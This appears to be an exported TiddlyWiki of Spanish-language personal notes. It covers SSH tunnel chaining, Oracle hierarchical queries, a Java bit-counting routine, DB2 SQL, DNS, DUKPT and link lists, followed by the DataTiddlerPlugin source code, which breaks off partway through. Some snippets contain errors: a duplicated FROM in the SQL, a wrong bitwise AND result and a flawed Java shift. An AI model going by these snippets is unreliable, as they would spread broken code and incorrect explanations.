ssh -f -L 8080:localhost:8080 servidor1 ssh -N -D 8080 usuario2@servidor2
</code>
El parámetro {{{-f}}} es necesario en la primera conexión, para poder introducir la contraseña. El parámetro {{{-N}}} de la última no es necesario, pero sirve para NO ejecutar una shell en la máquina remota, lo que es bastante útil para una conexión que sólo sirva de túnel.

! Referencias
http://es.wikipedia.org/wiki/T%C3%BAnel_(inform%C3%A1tica)
http://en.wikipedia.org/wiki/Tunneling_protocol
http://www.catonmat.net/blog/yet-another-ten-one-liners-from-commandlinefu-explained
http://raynaandwhitney.net/2008/10/the-ssh-tunnel-daisy-chain/
!Introducción
Un tema un tanto complejo son las tablas autoreferenciadas, o lo que es lo mismo, tablas con foreign keys a si mismas. Muchas veces se requiere realizar la operación de extraer un registro y todos sus registros hijos de forma anidada. Con una {{{SELECT}}} simple es imposible, y habría que hacer un procedimiento recursivo en PL/SQL para recorrer el árbol completo.

[[Oracle]] ofrece una solución sencilla, usar {{{SELECT .. START WITH .. CONNECT BY}}}.

!Sintaxis
La sección {{{CONNECTED BY}}} indica la relación que define que registros son hijos de uno determinado. Normalmente se suele indicar que la columna con la forgeing key sea igual que el ID del padre. El concepto "del padre" se indica con el operador {{{PRIOR}}}.

Mediante la sección {{{START WITH}}} se indica que registro será el registro padre de todos (la raiz del árbol).

Dentro de este tipo de consultas se encuentra disponible la pseudocolumna llamada "LEVEL", que indica el nivel de anidamiento (1 para el nodo raiz, 2 para el siguiente nivel, etc).

Por ejemplo, si tenemos una tabla con las columnas numéricas {{{ID}}} e {{{ID_PADRE}}} de la tabla {{{DATOS}}} podríamos hacer la siguiente consulta:
<code sql>
SELECT ID, ID_PADRE, NOMBRE, LEVEL FROM
FROM DATOS
CONNECT BY PRIOR ID = ID_PADRE
START WITH ID = 1
</code>

!Ordenación de los hermanos
Los datos obtenidos se ordenan por nivel, pero los registros de cada nivel pueden estar incorrectamente ordenados. La ordenación de los nodos dentro de cada nivel se define mediante {{{ORDER SIBLINGS BY}}}, especificando una columna como si fuera un {{{ORDER BY}}} normal.

!Evitar bucles infinitos
Para evitar que se creen bucles infinitos de anidamiento se puede utilizar {{{CONNECT BY NOCYCLE}}}, que detendrá el procedimiento recursivo cuando empiecen a repetirse los datos.

! Referencias
* http://www.psoug.org/reference/connectby.html
* http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/queries003.htm#i2053935
!!Contar unos en un número binario ([[Java]])^^[[<editar>|$1]]^^
El siguiente código en [[Java]] cuenta cuantos unos aparecen en el número al ser convertido a binario. El algoritmo primero calcula cuantos dígitos tendría el número binario mediante la siguiente fórmula:
$$digitos = \lfloor log(num)/log(2)\rfloor+1$$
Después hace una operación AND con cada el número indicado y otro compuesto por un único 1 en una posición del número binario. Si da cero es que no hay un uno, y en caso contrario es que lo hay. Por ejemplo, para calcular si el 27 (en binario {{{11011}}}) tiene un uno en la posición 2 empezando por la derecha, se hará la siguiente operación: {{{11011 & 0010}}} El resultado será {{{11011}}}. Pero al probar la tercera posición y hacer  {{{11011 & 0100}}}, el resultado será {{{00000}}}.

El código es el siguiente:
<code java>
public static int contarUnos(long numero){
    int unos = 0;
    int tam_bin = (int)(Math.floor(Math.log (numero) / Math.log(2))+1);
    long test = 1 << tam_bin;
    
    for (int i = tam_bin; i >= 0; i--){
        if ((numero & test) != 0){
            unos++;
        }
        test = test >> 1;
    } 
    return unos;
}
</code>
* http://my.funambol.com/
* http://www.google.es/search?sourceid=chrome&ie=UTF-8&q=%22hacking:+the+next+generation%22
* listas robinson: https://www.listarobinson.es/default.asp
* Informática en la F1: http://www.computerworld.com.au/article/339594/how_do_they_do_it_/
* Llamadas gratis con google voice:
** http://lifehacker.com/5349506/make-free-voip-calls-from-google-voice
** http://lifehacker.com/5622470/eight-clever-ways-to-take-advantage-of-free-calling-in-gmail
* Irse de facebook sin irse: http://lifehacker.com/5538697/how-to-quit-facebook-without-actually-quitting-facebook
* Manipular a la gente: http://lifehacker.com/5672291/how-to-manipulate-people
* Correo de usar y tirar: http://lifehacker.com/tag/disposable-email-address/
* Canción con videoclís: http://filecabi.net/video/showthem_uncensored.html
* http://www.youtube.com/watch?feature=player_embedded&v=7HGW9hNlwhs
* LIRC: http://www.lirc.org/
** Mando mio [[http://lirc.sourceforge.net/remotes/lg/AKB72915207|AKB72915207]]: http://lirc.sourceforge.net/remotes/lg/AKB72915207.jpg
** Mando casa Patricia [[http://lirc.sourceforge.net/remotes/lg/MKJ40653802|MKJ40653802]]: http://lirc.sourceforge.net/remotes/lg/MKJ40653802.jpg
* Proxy en GAE: http://lifehacker.com/#!5484934/run-your-own-free-proxy-through-the-google-app-engine
* Diaspora: https://joindiaspora.com/
* Redes sociales distribuidas: http://en.wikipedia.org/wiki/Distributed_social_network
<<showtoc>>
! Descripción
<part descripcion>
Información sobre técnicas de cifrado, ofuscación y ocultación de datos.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Criptograf%C3%ADa
* Wikilibro de criptografía: http://en.wikibooks.org/wiki/Cryptography
* Artículos de Bruce Schneider: http://www.schneier.com/cryptography.html

!! Cursos y tutoriales:
* Dos cursos de ofuscación: http://yury.name/obfuscation/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Curiosidades interesantes o simplemente sorprendentes.
</part>
!Enlaces
<part enlaces>
!! Curiosidades de ciencia y tecnología
//Ver [[Curiosidades de ciencia y tecnología]]//

!! Curiosidades informáticas
* Historia visual de los supercomputadores: http://www.tomshardware.com/picturestory/508-mainframe-computer-history.html
* Captchas infernales: http://www.johnmwillis.com/other/top-10-worst-captchas/

!! Curiosidades alimentícias
* Marcas blancas y fabricantes reales: http://marcasblancas.wikispaces.com/

!! Curiosidades cine y televisión
* Las mentiras de //"El último superviviente"//: http://noesbuenosersincero.blogspot.com/2009/07/bear-grylls-el-farsante-que-te-costara.html

!! Cosas que dan cosica
* Asesinos en serie: http://www.asesinos-en-serie.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Todo tipo de curiosidades relacionadas con el mundo de la ciencia y la tecnología.
</part>
! Enlaces
<part enlaces>
!! Tecnología doméstica
* Limitaciones en la resolución de una televisión: http://es.wikipedia.org/wiki/Factor_de_Kell
* Como funciona el "pajarito bebedor": http://www.sabercurioso.com/2009/05/16/como-funciona-pajaro-bebedor/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Agentes inteligentes
Los agentes inteligentes son entidades que interactúan con un entorno. Perciben el estado del entorno mediante sensores y pueden modificar el estado del entorno mediante los actuadores. La gran incógnita es como un agente toma decisiones según el entorno para interactuar con él. A este proceso, que se repite continuamente en un agente inteligente se lo denomina "Ciclo """Percepción-Actuación""" ".

! Aplicaciones de la IA
!! IA en las finanzas
Los agentes en el mundo de las finanzas se denominan "agentes de comercio" y su entorno son cosas como mercados de valores. Pueden seguir el estado de valores y tomar decisiones de compra o venta. Históricamente se ha utilizado la IA para estudiar datos durante largos periodos de tiempo y predecir su comportamiento.

!! IA en robótica
Los robots adquieren información de su entorno por medio de sensores como cámaras, micrófonos, etc. Interaccionan sobre su entorno usando sus motores. Se puede ver el paralelismo claro con los agentes inteligentes. Por ello, prácticamente cualquier robot actual que haga algo interesante usa IA. De hecho, muchas veces se estudian juntas la robótica y la inteligencia artificial como una única disciplina. 

!! IA en juegos
Se utiliza ámpliamente para hacer los juegos más inteligentes o naturales. Se suelen usar de dos formas principales: para jugar contra el usuario (contrincante) en juegos de uno contra otro (ajedrez, reversi, etc), el otro es interpretar personajes y que se presenten de forma natural al usuario. En el primer caso, el entorno es el propio usuario, el agente estudia sus movimientos y en base a ellos efectúa los suyos con el propósito de derrotarle. En el segundo caso, el entorno es el mismo entorno en el que juega el usuario.

!! IA en medicina
Un médico puede ser asistido por un agente inteligente que realiza un diagnóstico en base a ciertas medidas, como resultado de ciertos análisis. En este caso, el agente no interacciona directamente con el entorno (el paciente) si no que comunica su conclusión al médico para que él intervenga. 

!! IA en la web
Los primeros buscadores fueron denominados "robots" por la influencia que la robótica ha tenido sobre la IA. Rastrear y comprender la estructura de las páginas web es la principal aplicación de los agentes inteligentes en este campo. Cuando introduces una búsqueda, intenta comprender lo que has escrito y mostrar los resultados más adecuados. Esto es más bien una co-inteligencia artificial.

! Terminología
* ''Entorno totalmente observable:'' El agente puede tomar en cualquier momento información suficiente del entorno para tomar una decisión óptima. Se puede observar el estado completo del entorno
* ''Entorno parcialmente observable:'' El agente debe utilizar su memoria para tomar la decisión óptima. El esto completo no es siempre observable o es sólo parcialmente medible. La memorización de mediciones anteriores da información adicional del estado.
* ''Entorno determinista:'' Es uno donde el resultado es determinado por las acciones del agente. No hay ninguna aleatoriedad. Por ejemplo, el ajedrez.
* ''Entorno estocástico:'' El resultado de una acción se ve influido por variables aleatorias. Por ejemplo, un juego de dados.
* ''Entorno discreto:'' Las acciones que se pueden realizar y los datos que se pueden medir son finitos. Ejemplo, el ajedrez.
* ''Entorno continuo:'' El número de acciones a realizar es infinito, así como el gradiente de datos que se pueden medir.
* ''Entorno benigno:'' El medio ambiente puede ser aleatorio, pero no tiene un objetivo en conflicto con el agente. El clima por ejemplo, es benigno, pues es aleatorio.
* ''Entorno competitivo:'' El entorno intenta vencer al agente. En un entorno competitivo es más difícil encontrar buenas acciones. El ajedrez es buen ejemplo.

! IA e incertidumbre
La IA se puede entender como una manera de administrar la incertidumbre: una herramienta para saber que hacer cuando no tienes ni idea.

Los sensores puede tener un alcance limitado, puede haber un adversario que interfiera, un entorno estocástico, pereza (dificultad o coste excesivo para realizar un cálculo), o simplemente ignorancia. Todos estos factores introducen incertidumbre en la toma de decisiones.

! Ejemplos de IA
el traductor de Google es uno de los ejemplos más exitosos de IA. En vez de hacer las tablas de todas las traducciones posibles, se han tomado textos traducidos a varios idiomas para compararlos. Un agente inteligente ha aprendido de esos de esos textos para hacer las correspondencias entre las palabras de cada idioma.

! Introducción

! Referencias
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Base de datos propiedad de IBM
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/DB2
** Página principal: http://www-01.ibm.com/software/data/db2/
** Página en español: http://www-01.ibm.com/software/es/data/liberesuscostes/

* ''Documentación:''
** Referencia: http://publib.boulder.ibm.com/infocenter/db2luw/v9r8/index.jsp
** ~DB2 Survival Guide: http://fornera.com/helpdesk/db2SurvivalGuide.html
** ~DB2 Basics: http://users.sdsc.edu/~jrowley/db2/howto.html
** "Cosas útiles de DB2": http://www.dbforums.com/db2/506495-useful-db2-stuff.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Update o insert y select^^[[<editar>|$1]]^^
En [[DB2]] se puede hacer en una única instrucción un {{{INSERT}}} y un {{{SELECT}}} de los nuevos valores recién insertados:
<code SQL>
SELECT COLUMNA1 FROM FINAL TABLE 
(
    INSERT INTO ESQUEMA.TABLA (COLUMNA1, COLUMNA2)
    VALUES ('valor1', 'valor2')
)
</code>
Se puede hacer algo muy similar con {{{UPDATE}}} y {{{SELECT}}}:
<code SQL>
SELECT * FROM FINAL TABLE
(
    UPDATE ESQUEMA.TABLA
    SET COLUMNA1='valor1' WHERE COLUMNA2='valor2'
)
</code>
Si en vez de {{{FINAL TABLE}}} se usa {{{OLD TABLE}}}, se obtiene el valor que tenían los campos ''antes'' de la actualización.
<<showtoc>>
! Descripción
<part descripcion>
DIY son las sigles en inglés de "Do It Yourself" o "hazlo tu mismo" en castellano. Significa construir tus propios objetos y herramientas, y es una forma muy divertida y educativa de ocio, ¡y te permite ahorrar dinero! Además, suele fomentar el reciclaje de objetos "viejos" transformándolos en nuevos y más útiles.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/H%C3%A1galo_usted_mismo
* Introducción al DIY: http://en.wikibooks.org/wiki/Do-It-Yourself

!! Páginas con guías
* Ikkaro: http://www.ikkaro.com/experimentoscaseros
* Como hacer: http://www.comohacer.eu/
* Crealo tu mismo: http://www.crealotumismo.com/
* Proyectos de ladyada.net: http://www.ladyada.net/make/index.html
* Instructables: http://www.instructables.com/
* Guías temáticas DIY de Instructables: http://www.instructables.com/tag/type-id/guide-true/
* Make Magazine: http://makezine.com/
* Crafster: http://www.craftster.org/
* Popular Mechanics: http://www.popularmechanics.com/how-to/
* Ready Made: http://www.readymade.com/
* DIY en Luxe outdoor: http://www.luxeoutdoor.com/eng/catalog-topic.asp?selfpath=/86&selfid=86
* Wonder Howto: http://www.wonderhowto.com
* Invent Geek: http://inventgeek.com/Projects.aspx
* El mundo del reciclaje: http://elmundodelreciclaje.blogspot.com
* Dangerously Fun: http://dangerouslyfun.com/
* Maker Wiki: http://www.makerwiki.com/index.php/Portada
* Proyectos de ladyada.net: http://www.ladyada.net/make/index.html
* DIY Home: http://diyhomebuilding.org/

!! Comunidades de reparación de electrodomésticos:
* Yo reparo: http://www.yoreparo.com/
* I Fix it: http://www.ifixit.com/Guide

!! Artículos por tema
!!! Electricidad y electrónica
* Taser de 30.000 voltios casero: http://www.instructables.com/id/DIY-Taser/
* Transformador flyback: http://www.ikkaro.com/fabricar-flyback-driver

!!! Informática
* Mejora de antena Wifi superbarata: http://masmanuti.wordpress.com/2008/05/13/windsurfer-la-mejor-antena-calidadprecio-para-mejorar-tu-wifi/
 
!!! Armas antiguas
!!!! Arcos y ballestas
* Arco de PVC: http://www.ikkaro.com/como-hacer-arco-pvc
* Arco laminado de madera de cerezo: http://www.ikkaro.com/como-hacer-arco
* Ballesta de lápices: http://www.ikkaro.com/como-hacer-lapiz-ballesta
* Flechas de bambú: http://www.ikkaro.com/como-hacer-flechas-bambu-caseras

!!!! Catapultas
* Catapulta "trebuchet": http://www.ikkaro.com/como-hacer-catapulta-trebuchet-casera
* Catapulta vikinga: http://www.ikkaro.com/como-hacer-catapulta-vikinga
* Minicatapulta de clips: http://www.ikkaro.com/capatapulta-clips

!!!! Tirachinas y lanzadores
* Lanzamonedas: http://www.ikkaro.com/catapulta_lanza_monedas
* Pistola de oficina: http://www.ikkaro.com/arma-oficina-con-regla
* Lanza lápices letal: http://www.ikkaro.com/lanza-lapices
* Versión más sencilla del lanza lápices: http://www.ikkaro.com/nuevo-lanza-lapices

!!!! Cervatanas
* Cervatana casera: http://www.ikkaro.com/como-hacer-cerbatana-casera

!!! Figuritas y miniaturas
* Una moto con dos mecheros: http://www.ikkaro.com/como-hacer-motos-mecheros

!!! Juguetes reciclados
* Toys from Trash: http://www.arvindguptatoys.com/toys.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Siglas de Domain Name System, o Sistema de Nombres de Dominio en español. Es el sistema utilizado en internet para traducir nombres de dominio ({{{example.com}}}) a IPs ({{{192.0.32.10}}}).

Los servidores DNS estructuran de forma jerárquica, de tal forma que cuando se busca la IP de una dirección de internet, primero se busca en lo servidores más generales, y se va reenviando la petición a servidores más locales y específicos hasta que se encuentra.

Más información:
* http://es.wikipedia.org/wiki/Domain_Name_System
! Introducción

!! Claves y componentes
* ''BDK'': Son las siglas de "Base Derivation Key". Originamente se la conocía como "super-secret key" o "SSK".
* ''IPEK'': Siglas de Initial PIN Encryption Key". Es una clave que se deriva de la BDK, y es la que realmente se utiliza. Esto evita que se pueda filtrar la BDK o que puedan extraerla.


! Referencias
* Artículo sobre DUKPT en la Wikipedia: http://en.wikipedia.org/wiki/Derived_unique_key_per_transaction
* Artículo sobre HSM en la Wikipedia: http://en.wikipedia.org/wiki/Hardware_Security_Module
* Breve y conciso resumen: http://blog.pucp.edu.pe/item/23568/derived-unique-key-per-transaction-dukpt
* Explicación de madrock.net: http://www.madrock.net/2009/06/dukpt-overview-and-transaction-notes/

* Librería jPOS: http://jpos.org/
* Código fuente de jPOS: https://jpos.svn.sourceforge.net/svnroot/jpos/trunk/jpos6/modules/jpos/
* Grupo de usuarios de jPOS: http://groups-beta.google.com/group/jpos-users?pli=1
* Ejemplo de uso de DUKPT con jPOS: http://groups.google.com/group/jpos-users/browse_thread/thread/8a595b726617717d/7a5a7753ad7d61fe?lnk=gst&q=dukpt#7a5a7753ad7d61fe
* API de seguridad de jPOS: http://www.jpos.org/doc/javadoc/org/jpos/security/package-summary.html
* DUKPT con jpos: http://jpos.org/blog/2006/03/encrypting-sensitive-data/

* jPOS-EE (extended edition): http://code.google.com/p/jposee/
* Uso de jPOS-EE en NetBeans: http://extendit.us/jposee-in-netbeans/
* jPOS Extended Edition: http://docs.google.com/viewer?url=http%3A%2F%2Fjpos.org%2Fjposee%2FjPOS-EE.pdf

* Creación de un IPEK: http://www.andyorrock.com/2006/11/creating_an_ipe.html
Here are some examples that show the usage of tiddler data, as provided by the DataTiddlerPlugin.
<<forEachTiddler
 where
 'tiddler.tags.contains("DataTiddlerExample")'
>>
/***
|''Name:''|DataTiddlerPlugin|
|''Version:''|1.0.6 (2006-08-26)|
|''Source:''|http://tiddlywiki.abego-software.de/#DataTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
|''TiddlyWiki:''|1.2.38+, 2.0|
|''Browser:''|Firefox 1.0.4+; InternetExplorer 6.0|
!Description
Enhance your tiddlers with structured data (such as strings, booleans, numbers, or even arrays and compound objects) that can be easily accessed and modified through named fields (in JavaScript code).

Such tiddler data can be used in various applications. E.g. you may create tables that collect data from various tiddlers. 

''//Example: "Table with all December Expenses"//''
{{{
<<forEachTiddler
    where
        'tiddler.tags.contains("expense") && tiddler.data("month") == "Dec"'
    write
        '"|[["+tiddler.title+"]]|"+tiddler.data("descr")+"| "+tiddler.data("amount")+"|\n"'
>>
}}}
//(This assumes that expenses are stored in tiddlers tagged with "expense".)//
<<forEachTiddler
    where
        'tiddler.tags.contains("expense") && tiddler.data("month") == "Dec"'
    write
        '"|[["+tiddler.title+"]]|"+tiddler.data("descr")+"| "+tiddler.data("amount")+"|\n"'
>>
For other examples see DataTiddlerExamples.




''Access and Modify Tiddler Data''

You can "attach" data to every tiddler by assigning a JavaScript value (such as a string, boolean, number, or even arrays and compound objects) to named fields. 

These values can be accessed and modified through the following Tiddler methods:
|!Method|!Example|!Description|
|{{{data(field)}}}|{{{t.data("age")}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined {{{undefined}}} is returned.|
|{{{data(field,defaultValue)}}}|{{{t.data("isVIP",false)}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined the defaultValue is returned.|
|{{{data()}}}|{{{t.data()}}}|Returns the data object of the tiddler, with a property for every field. The properties of the returned data object may only be read and not be modified. To modify the data use DataTiddler.setData(...) or the corresponding Tiddler method.|
|{{{setData(field,value)}}}|{{{t.setData("age",42)}}}|Sets the value of the given data field of the tiddler to the value. When the value is {{{undefined}}} the field is removed.|
|{{{setData(field,value,defaultValue)}}}|{{{t.setData("isVIP",flag,false)}}}|Sets the value of the given data field of the tiddler to the value. When the value is equal to the defaultValue no value is set (and the field is removed).|

Alternatively you may use the following functions to access and modify the data. In this case the tiddler argument is either a tiddler or the name of a tiddler.
|!Method|!Description|
|{{{DataTiddler.getData(tiddler,field)}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined {{{undefined}}} is returned.|
|{{{DataTiddler.getData(tiddler,field,defaultValue)}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined the defaultValue is returned.|
|{{{DataTiddler.getDataObject(tiddler)}}}|Returns the data object of the tiddler, with a property for every field. The properties of the returned data object may only be read and not be modified. To modify the data use DataTiddler.setData(...) or the corresponding Tiddler method.|
|{{{DataTiddler.setData(tiddler,field,value)}}}|Sets the value of the given data field of the tiddler to the value. When the value is {{{undefined}}} the field is removed.|
|{{{DataTiddler.setData(tiddler,field,value,defaultValue)}}}|Sets the value of the given data field of the tiddler to the value. When the value is equal to the defaultValue no value is set (and the field is removed).|
//(For details on the various functions see the detailed comments in the source code.)//


''Data Representation in a Tiddler''

The data of a tiddler is stored as plain text in the tiddler's content/text, inside a "data" section that is framed by a {{{<data>...</data>}}} block. Inside the data section the information is stored in the [[JSON format|http://www.crockford.com/JSON/index.html]]. 

//''Data Section Example:''//
{{{
<data>{"isVIP":true,"user":"John Brown","age":34}</data>
}}}

The data section is not displayed when viewing the tiddler (see also "The showData Macro").

Beside the data section a tiddler may have all kind of other content.

Typically you will not access the data section text directly but use the methods given above. Nevertheless you may retrieve the text of the data section's content through the {{{DataTiddler.getDataText(tiddler)}}} function.


''Saving Changes''

The "setData" methods respect the "ForceMinorUpdate" and "AutoSave" configuration values. I.e. when "ForceMinorUpdate" is true changing a value using setData will not affect the "modifier" and "modified" attributes. With "AutoSave" set to true every setData will directly save the changes after a setData.


''Notifications''

No notifications are sent when a tiddler's data value is changed through the "setData" methods. 

''Escape Data Section''
In case that you want to use the text {{{<data>}}} or {{{</data>}}} in a tiddler text you must prefix the text with a tilde ('~'). Otherwise it may be wrongly considered as the data section. The tiddler text {{{~<data>}}} is displayed as {{{<data>}}}.


''The showData Macro''

By default the data of a tiddler (that is stored in the {{{<data>...</data>}}} section of the tiddler) is not displayed. If you want to display this data you may used the {{{<<showData ...>>}}} macro:

''Syntax:'' 
|>|{{{<<}}}''showData '' [''JSON''] [//tiddlerName//] {{{>>}}}|
|''JSON''|By default the data is rendered as a table with a "Name" and "Value" column. When defining ''JSON'' the data is rendered in JSON format|
|//tiddlerName//|Defines the tiddler holding the data to be displayed. When no tiddler is given the tiddler containing the showData macro is used. When the tiddler name contains spaces you must quote the name (or use the {{{[[...]]}}} syntax.)|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|


!Revision history
* v1.0.6 (2006-08-26) 
** Removed misleading comment
* v1.0.5 (2006-02-27) (Internal Release Only)
** Internal
*** Make "JSLint" conform
* v1.0.4 (2006-02-05)
** Bugfix: showData fails in TiddlyWiki 2.0
* v1.0.3 (2006-01-06)
** Support TiddlyWiki 2.0
* v1.0.2 (2005-12-22)
** Enhancements:
*** Handle texts "<data>" or "</data>" more robust when used in a tiddler text or as a field value.
*** Improved (JSON) error messages.
** Bugs fixed: 
*** References are not updated when using the DataTiddler.
*** Changes to compound objects are not always saved.
*** "~</data>" is not rendered correctly (expected "</data>")
* v1.0.1 (2005-12-13)
** Features: 
*** The showData macro supports an optional "tiddlername" argument to specify the tiddler containing the data to be displayed
** Bugs fixed: 
*** A script immediately following a data section is deleted when the data is changed. (Thanks to GeoffS for reporting.)
* v1.0.0 (2005-12-12)
** initial version

!Code
***/
//{{{
//============================================================================
//============================================================================
//                           DataTiddlerPlugin
//============================================================================
//============================================================================

// Ensure that the DataTiddler Plugin is only installed once.
//
if (!version.extensions.DataTiddlerPlugin) {



version.extensions.DataTiddlerPlugin = {
    major: 1, minor: 0, revision: 6,
    date: new Date(2006, 7, 26), 
    type: 'plugin',
    source: "http://tiddlywiki.abego-software.de/#DataTiddlerPlugin"
};

// For backward compatibility with v1.2.x
//
if (!window.story) window.story=window; 
if (!TiddlyWiki.prototype.getTiddler) {
	TiddlyWiki.prototype.getTiddler = function(title) { 
		var t = this.tiddlers[title]; 
		return (t !== undefined && t instanceof Tiddler) ? t : null; 
	};
}

//============================================================================
// DataTiddler Class
//============================================================================

// ---------------------------------------------------------------------------
// Configurations and constants 
// ---------------------------------------------------------------------------

function DataTiddler() {
}

DataTiddler = {
    // Function to stringify a JavaScript value, producing the text for the data section content.
    // (Must match the implementation of DataTiddler.parse.)
    //
    stringify : null,
    

    // Function to parse the text for the data section content, producing a JavaScript value.
    // (Must match the implementation of DataTiddler.stringify.)
    //
    parse : null
};

// Ensure access for IE
window.DataTiddler = DataTiddler;

// ---------------------------------------------------------------------------
// Data Accessor and Mutator
// ---------------------------------------------------------------------------


// Returns the value of the given data field of the tiddler.
// When no such field is defined or its value is undefined
// the defaultValue is returned.
// 
// @param tiddler either a tiddler name or a tiddler
//
DataTiddler.getData = function(tiddler, field, defaultValue) {
    var t = (typeof tiddler == "string") ? store.getTiddler(tiddler) : tiddler;
    if (!(t instanceof Tiddler)) {
        throw "Tiddler expected. Got "+tiddler;
    }

    return DataTiddler.getTiddlerDataValue(t, field, defaultValue);
};


// Sets the value of the given data field of the tiddler to
// the value. When the value is equal to the defaultValue
// no value is set (and the field is removed)
//
// Changing data of a tiddler will not trigger notifications.
// 
// @param tiddler either a tiddler name or a tiddler
//
DataTiddler.setData = function(tiddler, field, value, defaultValue) {
    var t = (typeof tiddler == "string") ? store.getTiddler(tiddler) : tiddler;
    if (!(t instanceof Tiddler)) {
        throw "Tiddler expected. Got "+tiddler+ "("+t+")";
    }

    DataTiddler.setTiddlerDataValue(t, field, value, defaultValue);
};


// Returns the data object of the tiddler, with a property for every field.
//
// The properties of the returned data object may only be read and
// not be modified. To modify the data use DataTiddler.setData(...) 
// or the corresponding Tiddler method.
//
// If no data section is defined a new (empty) object is returned.
//
// @param tiddler either a tiddler name or a Tiddler
//
DataTiddler.getDataObject = function(tiddler) {
    var t = (typeof tiddler == "string") ? store.getTiddler(tiddler) : tiddler;
    if (!(t instanceof Tiddler)) {
        throw "Tiddler expected. Got "+tiddler;
    }

    return DataTiddler.getTiddlerDataObject(t);
};

// Returns the text of the content of the data section of the tiddler.
//
// When no data section is defined for the tiddler null is returned 
//
// @param tiddler either a tiddler name or a Tiddler
// @return [may be null]
//
DataTiddler.getDataText = function(tiddler) {
    var t = (typeof tiddler == "string") ? store.getTiddler(tiddler) : tiddler;
    if (!(t instanceof Tiddler)) {
        throw "Tiddler expected. Got "+tiddler;
    }

    return DataTiddler.readDataSectionText(t);
};


// ---------------------------------------------------------------------------
// Internal helper methods (must not be used by code from outside this plugin)
// ---------------------------------------------------------------------------

// Internal.
//
// The original JSONError is not very user friendly, 
// especially it does not define a toString() method
// Therefore we extend it here.
//
DataTiddler.extendJSONError = function(ex) {
	if (ex.name == 'JSONError') {
        ex.toString = function() {
			return ex.name + ": "+ex.message+" ("+ex.text+")";
		};
	}
	return ex;
};

// Internal.
//
// @param t a Tiddler
//
DataTiddler.getTiddlerDataObject = function(t) {
    if (t.dataObject === undefined) {
        var data = DataTiddler.readData(t);
        t.dataObject = (data) ? data : {};
    }
    
    return t.dataObject;
};


// Internal.
//
// @param tiddler a Tiddler
//
DataTiddler.getTiddlerDataValue = function(tiddler, field, defaultValue) {
    var value = DataTiddler.getTiddlerDataObject(tiddler)[field];
    return (value === undefined) ? defaultValue : value;
};


// Internal.
//
// @param tiddler a Tiddler
//
DataTiddler.setTiddlerDataValue = function(tiddler, field, value, defaultValue) {
    var data = DataTiddler.getTiddlerDataObject(tiddler);
    var oldValue = data[field];
	
    if (value == defaultValue) {
        if (oldValue !== undefined) {
            delete data[field];
            DataTiddler.save(tiddler);
        }
        return;
    }
    data[field] = value;
    DataTiddler.save(tiddler);
};

// Internal.
//
// Reads the data section from the tiddler's content and returns its text
// (as a String).
//
// Returns null when no data is defined.
//
// @param tiddler a Tiddler
// @return [may be null]
//
DataTiddler.readDataSectionText = function(tiddler) {
    var matches = DataTiddler.getDataTiddlerMatches(tiddler);
    if (matches === null || !matches[2]) {
        return null;
    }
    return matches[2];
};

// Internal.
//
// Reads the data section from the tiddler's content and returns it
// (as an internalized object).
//
// Returns null when no data is defined.
//
// @param tiddler a Tiddler
// @return [may be null]
//
DataTiddler.readData = function(tiddler) {
    var text = DataTiddler.readDataSectionText(tiddler);
	try {
	    return text ? DataTiddler.parse(text) : null;
	} catch(ex) {
		throw DataTiddler.extendJSONError(ex);
	}
};

// Internal.
// 
// Returns the serialized text of the data of the given tiddler, as it
// should be stored in the data section.
//
// @param tiddler a Tiddler
//
DataTiddler.getDataTextOfTiddler = function(tiddler) {
    var data = DataTiddler.getTiddlerDataObject(tiddler);
    return DataTiddler.stringify(data);
};


// Internal.
// 
DataTiddler.indexOfNonEscapedText = function(s, subString, startIndex) {
	var index = s.indexOf(subString, startIndex);
	while ((index > 0) && (s[index-1] == '~')) { 
		index = s.indexOf(subString, index+1);
	}
	return index;
};

// Internal.
//
DataTiddler.getDataSectionInfo = function(text) {
	// Special care must be taken to handle "<data>" and "</data>" texts inside
	// a data section. 
	// Also take care not to use an escaped <data> (i.e. "~<data>") as the start 
	// of a data section. (Same for </data>)

    // NOTE: we are explicitly searching for a data section that contains a JSON
    // string, i.e. framed with braces. This way we are little bit more robust in
    // case the tiddler contains unescaped texts "<data>" or "</data>". This must
    // be changed when using a different stringifier.

	var startTagText = "<data>{";
	var endTagText = "}</data>";

	var startPos = 0;

	// Find the first not escaped "<data>".
	var startDataTagIndex = DataTiddler.indexOfNonEscapedText(text, startTagText, 0);
	if (startDataTagIndex < 0) {
		return null;
	}

	// Find the *last* not escaped "</data>".
	var endDataTagIndex = text.indexOf(endTagText, startDataTagIndex);
